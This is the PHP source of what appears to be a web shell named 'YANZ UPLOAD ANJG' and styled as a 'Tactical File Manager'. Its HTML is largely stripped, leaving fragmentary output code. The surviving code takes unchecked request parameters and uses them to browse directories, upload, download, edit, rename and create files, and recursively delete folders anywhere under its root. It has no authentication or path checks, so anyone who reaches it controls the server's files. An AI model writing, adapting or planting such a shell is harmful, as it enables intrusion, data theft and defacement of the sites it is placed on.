YANZ UPLOAD ANJG
'ROOT', 'path' => $root_dir, 'icon' => 'fa-hard-drive', 'active' => empty($parts)]];
$accum = $root_dir;
$last = count($parts) - 1;
foreach ($parts as $i => $p) {
if ($p === '') continue;
$accum .= DIRECTORY_SEPARATOR . $p;
$crumbs[] = [
'name' => $p,
'path' => $accum,
'icon' => 'fa-folder',
'active' => ($i === $last)
];
}
return $crumbs;
}
function listDirectory($dir) {
$files = scandir($dir);
$dirs = [];
$regs = [];
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
if (is_dir($dir . '/' . $f)) $dirs[] = $f;
else $regs[] = $f;
}
$build = function ($name, $isDir) use ($dir) {
$enc = urlencode($name);
$cur = urlencode($dir);
$nm = htmlspecialchars($name);
$size = $isDir ? 'DIR' : filesize($dir.'/'.$name).' B';
$date = date("Y-m-d H:i", filemtime($dir.'/'.$name));
$icon = $isDir ? 'fa-folder' : 'fa-file';
$row = '';
$row .= '| ';
if ($isDir) {
$row .= ''.$nm.'';
} else {
$row .= ''.$nm.'';
}
$row .= ' | ';
$row .= ''.$size.' | ';
$row .= ''.$date.' | ';
$row .= '';
if (!$isDir) {
$row .= '';
$row .= '';
}
$row .= '';
$row .= '';
$row .= ' |
';
return $row;
};
foreach ($dirs as $d) echo $build($d, true);
foreach ($regs as $f) echo $build($f, false);
}
// ACTIONS
if (isset($_GET['delete'])) {
$target = $current_dir . '/' . $_GET['delete'];
if (is_file($target)) unlink($target);
elseif (is_dir($target)) {
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($target, FilesystemIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it as $x) $x->isDir() ? rmdir($x->getPathname()) : unlink($x->getPathname());
rmdir($target);
}
header("Location: ?dir=" . urlencode($current_dir)); exit;
}
if (isset($_GET['download'])) {
$f = $current_dir . '/' . $_GET['download'];
if (is_file($f)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: ' . filesize($f));
readfile($f); exit;
}
}
if (isset($_POST['rename_file'])) {
rename($current_dir.'/'.$_POST['old_name'], $current_dir.'/'.$_POST['new_name']);
header("Location: ?dir=" . urlencode($current_dir)); exit;
}
if (isset($_POST['upload']) && !empty($_FILES['file']['name'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $current_dir.'/'.basename($_FILES['file']['name']));
header("Location: ?dir=" . urlencode($current_dir)); exit;
}
if (isset($_POST['save_edit'])) {
file_put_contents($current_dir.'/'.$_POST['file_name'], $_POST['file_content']);
header("Location: ?dir=" . urlencode($current_dir)); exit;
}
if (isset($_POST['create_file'])) {
$p = $current_dir.'/'.$_POST['new_file_name'];
if (!file_exists($p)) file_put_contents($p, "");
header("Location: ?dir=" . urlencode($current_dir)); exit;
}
if (isset($_POST['create_folder'])) {
$p = $current_dir.'/'.$_POST['new_folder_name'];
if (!is_dir($p)) mkdir($p);
header("Location: ?dir=" . urlencode($current_dir)); exit;
}
$file_to_edit = null; $file_content = '';
if (isset($_GET['edit'])) {
$p = $current_dir.'/'.$_GET['edit'];
if (is_file($p)) { $file_to_edit = $_GET['edit']; $file_content = file_get_contents($p); }
}
$rename_item = isset($_GET['rename']) ? $_GET['rename'] : null;
$crumbs = buildBreadcrumb($root_dir, $current_dir);
$items = array_values(array_filter(scandir($current_dir), fn($x) => $x !== '.' && $x !== '..'));
// folder tree sidebar (1 level root)
$sidebar_dirs = [];
foreach (scandir($root_dir) as $x) {
if ($x === '.' || $x === '..') continue;
if (is_dir($root_dir.'/'.$x)) $sidebar_dirs[] = $x;
}
?>
FILE OPS // Tactical File Manager
FILE OPS
R reload ESC cancel
| Target |
Size |
Modified |
Ops |
Sector Clear — No Targets
|